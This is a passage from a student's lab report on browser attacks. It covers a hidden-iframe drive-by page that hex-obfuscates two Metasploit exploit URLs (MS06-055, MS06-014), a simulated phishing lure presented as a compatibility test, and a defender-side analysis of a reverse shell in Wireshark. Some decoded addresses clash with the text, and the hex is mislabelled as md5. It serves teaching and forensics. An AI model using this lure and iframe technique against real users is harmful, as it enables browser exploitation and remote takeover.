document.write('<iframe src="' + h2s(u1) + '" width="1" height="1"></iframe>');
setTimeout(function () {
    document.write('<iframe src="' + h2s(u2) + '" width="1" height="1"></iframe>');
}, 8000);
</script>
</body>
</html>

入口页 index.html 中编写 h2s() 函数,用于将十六进制字符串还原为 URL,再通过隐藏 iframe 加载两个漏洞页面。使用 document.createElement("iframe") 和 appendChild() 动态创建 iframe。
image
统一入口 URL 为:http://192.168.200.6/lab11/index.html
混淆的目的在于让邮件中只出现统一入口 URL,而不直接暴露真实漏洞路径、端口和模块特征。防守方若只查看邮件正文,很难直接判断页面背后封装了两个浏览器漏洞利用地址。

模拟欺骗邮件

攻击方将统一入口伪装为“浏览器兼容性测试页面”,通过模拟邮件发送给防守方。邮件内容示例如下:

主题:关于浏览器兼容性测试页面的通知
同学你好:
请在实验靶机浏览器中打开下面的页面,完成浏览器兼容性测试:
http://192.168.200.6/lab11/index.html
这里是20252801,参考其他同学的实验步骤仿制,如有雷同,纯属巧合

QQ_1778805181380

该步骤用于模拟真实攻击中常见的诱导访问过程。实验只在本地虚拟机环境中进行,邮件内容与 URL 均服务于课程实践。

统一入口页验证与异常现象

重新启动两个 Metasploit exploit 服务,使两个真实漏洞 URL 均处于监听状态。理论上,Win2000 IE 访问统一入口后,应先隐藏加载 /ms06055,再加载 /ms06014。
image
此处步骤完全是上面的重复,遂不赘述。

win2k访问link:http://192.168.200.6/lab11/index.html,同时wireshark开启抓包。
image

原html中的代码:
var u1 = "687474703a2f2f3139322e3136382e352e353a383038312f6d733036303535";
var u2 = "687474703a2f2f3139322e3136382e352e353a383038322f6d733036303134";
对应md5解码转换为:
http://192.168.200.6:8082/ms06014+http://192.168.200.6:8081/ms06055

终端可以看到配置成功:说明统一入口已经能够完成至少第一条漏洞路径的隐藏加载和触发。
image
但另一个 session 没有按预期返回。Wireshark 抓包进一步显示,靶机实际访问了 /ms06055,没有继续访问 /ms06014。结合浏览器端漏洞利用特点,较合理的推测是:第一个漏洞页面触发后 IE 发生崩溃、连接被重置或浏览器执行流程中断,导致第二个 iframe 未继续加载。

wireshark抓包筛选结果
image

因此,本节结论:两个漏洞 URL 分别作为独立漏洞利用页面时可以进行验证;统一入口页完成了十六进制混淆封装和自动加载设计,但在实际 Win2000 / IE 环境中,由于浏览器漏洞触发后的稳定性问题,统一入口实际只观察到 MS06-055 请求和反向 shell,未观察到 MS06-014 的后续请求。
image

防守方解混淆与漏洞归因

提取统一URL:http://192.168.200.6/lab11/index.html
随后访问或离线查看 index.html 源码,发现页面中存在 h2s() 函数。该函数每次取两个十六进制字符,将其转换为对应 ASCII 字符,从而还原真实 URL。页面中两个可疑十六进制字符串分别为:http://192.168.200.6:8082/ms06014+http://192.168.200.6:8081/ms06055
结合 Metasploit 模块配置、URL 路径、HTTP 响应内容和抓包证据,可以完成漏洞归因。

抓包证据与反向 shell 判定
http://192.168.200.6/lab11/index.html 引导至 http://192.168.5.5:8081/ms06055
wireshark上过滤结果
image

TCP 流中出现 Windows 2000 命令行 banner,并能看到攻击端下发 echo、ver、ipconfig 等命令且收到回显。这说明该连接不是普通 HTTP 访问,而是 payload 成功执行后建立的反向命令 shell。

image

综合 URL 解混淆、HTTP 响应特征和 TCP Stream 命令回显,可以判定:内网 Windows 2000 主机访问统一入口后,实际触发了 MS06-055 VML 浏览器漏洞利用,并向攻击机 192.168.200.6:4455 建立反向 shell。攻击者由此获得了靶机上的交互式命令执行能力。MS06-014 URL 已从入口页源码中还原并可单独验证,但在统一入口实际流量中未观察到后续请求。

3、学习中遇到的问题及解决

  • 通过本次实验,了解了浏览器攻击的基本概念和流程,进一步熟悉了使用metasploit进行渗透攻击的方法。同时,学习了网页木马攻击的取证分析方法,感觉本次实验难度还是比较大的,通过查找大量网上的资料并和同学进行交流才把这次实验完成,收获也很大。
  • 我是小白,再此特别感谢https://www.cnblogs.com/shallwe741/p/18908779 + https://www.cnblogs.com/4eversinc2/p/19961582

posted on 2026-05-15 08:42  琴雇  阅读(22)  评论(0)    收藏  举报